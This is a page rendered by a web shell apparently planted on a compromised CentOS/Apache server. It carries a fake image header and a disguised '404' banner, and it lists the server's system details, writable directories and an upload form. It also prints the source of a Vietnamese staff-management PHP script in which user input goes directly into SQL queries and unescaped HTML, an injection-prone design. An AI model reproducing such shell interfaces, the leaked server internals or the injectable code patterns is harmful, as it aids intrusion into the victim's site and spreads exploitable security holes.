����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/staff/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/admin.adimi/code/management/staff/quit_job.php
<?php
$CORE->page_title = 'Cập nhật nghỉ công tác';
$txt_current_type = $lang['cap-nhat-nghi-cong-tac'];
$html_block = 'quit_job';
$txt_list_id = $CORE->input['list_id'];
if($txt_list_id == ''){
    $print->refresh('index.php?act=management&code=staff','!Error: no data find.',5);
}
$txt_list_id_query = str_replace('@',',',$txt_list_id);
$q_old_event = $DB->query("SELECT * FROM tb_staff_event WHERE staff_id IN ($txt_list_id_query) ORDER BY staff_id ");
$html_show = '';
$flag = 0;
while ($r_old_event = $DB->fetch_row($q_old_event)){
    $row_staff = $DB->fetch_row($DB->query("SELECT staff_fullname FROM tb_staff WHERE staff_id='".$r_old_event['staff_id']."' "));
    if($flag!=$r_old_event['staff_id']) {
        $html_show .= '<tr><td colspan="4">' . $row_staff['staff_fullname'] . '</td></tr>';
        $flag = $r_old_event['staff_id'];
    }
    $html_show .= '<tr><td>'.$arr_staff_event[$r_old_event['staff_event_type']].'</td><td>'.date('d-m-Y',strtotime($r_old_event['staff_event_date'])).'</td><td>'.$r_old_event['staff_event_note'].'</td><td>'.$r_old_event['user_post'].'</td><td><a href="index.php?act=management&code=staff&type=del_quit_job&event_id='.$r_old_event['staff_event_id'].'&list_id='.$txt_list_id.'" class="btn btn-outline-danger" onclick="return confirm(\'Are you sure do you want delete?\');">Delete</a></td></tr>';
}
$q_staff = $DB->query("SELECT * FROM tb_staff WHERE staff_id IN ($txt_list_id_query) ORDER BY staff_order ");
$html_form = '';
while($r_staff = $DB->fetch_row($q_staff)){
    $row_staff = $DB->fetch_row($DB->query("SELECT staff_fullname FROM tb_staff WHERE staff_id='".$r_staff['staff_id']."' "));
    $r_function = $DB->fetch_row($DB->query("SELECT * FROM tb_staff_function WHERE staff_function_id='".$r_staff['staff_function']."' "));
    $html_form .= '<tr><td>' . $row_staff['staff_fullname'] . '</td><td>' . $r_function['staff_function_name'] . '</td></tr>';
    $html_form .= '<tr><td><input type="text" class="mydatepicker form-control" name="event['.$r_staff['staff_id'].'][staff_event_date]" placeholder="'.$lang['ngay-nghi'].'" required onblur="check_past_date(this.value);"></td><td><input type="text" class="form-control" name="event[' . $r_staff['staff_id'] . '][staff_event_note]" placeholder="'.$lang['ly-do-nghi'].'" required></td></tr>';
}
if(isset($CORE->input['submitbt_out_work'])){
    $txt_list_id = $CORE->input['list_id'];
    $event = $CORE->input['event'];
    ob_end_flush();
    foreach ($event as $key=>$val){
        $v_staff_id = $key;
        $txt_date_off = date('Y-m-d',strtotime(str_replace('/', '-',$val['staff_event_date'])));
        $row_check_staff = $DB->fetch_row($DB->query("SELECT * FROM tb_staff WHERE staff_id='".$v_staff_id."' "));
        $row_check_event = $DB->fetch_row($DB->query("SELECT * FROM  tb_staff_event WHERE staff_id='$v_staff_id' ORDER BY staff_event_date DESC LIMIT 1 "));
        if($row_check_event['staff_event_type']=='quit_job'){
            echo '<script>alert(\''.$row_check_staff['staff_fullname'].' already quit the job, can not update!\');</script>';
            continue;
        }else{
            if($row_check_event['staff_event_date'] > $txt_date_off){
                echo '<script>alert(\' date '.$txt_date_off.' must after '.$row_check_event['staff_event_date'].' !\');</script>';
                continue;
            }else{
                $arr_insert = array('company_id'=>$ob_user->company_id,'staff_id'=>$v_staff_id,'user_post'=>$ob_user->user_name,'staff_event_type'=>'quit_job','staff_event_date'=>$txt_date_off,'staff_event_note'=>trim($val['staff_event_note']),'time'=>time());
                $DB->do_insert('tb_staff_event',$arr_insert);
                $DB->query("UPDATE tb_staff SET staff_status='1' WHERE staff_id='$v_staff_id' ");
            }
        }
        /*if($row_check_staff['staff_status']==0) {
            $DB->query("INSERT INTO `tb_staff_event` (`company_id`, `staff_id`, `user_post`, `staff_event_type`, `staff_event_date`, `staff_event_note`, `time`) VALUES ('" . $v_company_id . "', '" . $key . "', '" . $token->user_name . "', 'quit_job', '" . $txt_date_off . "', '" . $val['staff_event_note'] . "', '" . time() . "' );");
            $DB->query("UPDATE tb_staff SET staff_status='1' WHERE staff_id='" . $key . "' ");
            echo 'Updated '.$row_check_staff['staff_fullname'].' quit the job</br>';
            echo '-------------------<br/>';
        }else{
            echo '<script>alert(\''.$row_check_staff['staff_fullname'].' already quit the job, can not update!\');</script>';
        }*/
        sleep(1);
        flush();
    }
    echo '<script>location.replace(\'index.php?act=management&code=staff&type=quit_job&list_id='.$txt_list_id.'\');</script>';
    //$print->refresh('index.php?act=management&code=staff&type=quit_job&list_id='.$txt_list_id);
}
?>

ZeroDay Forums Mini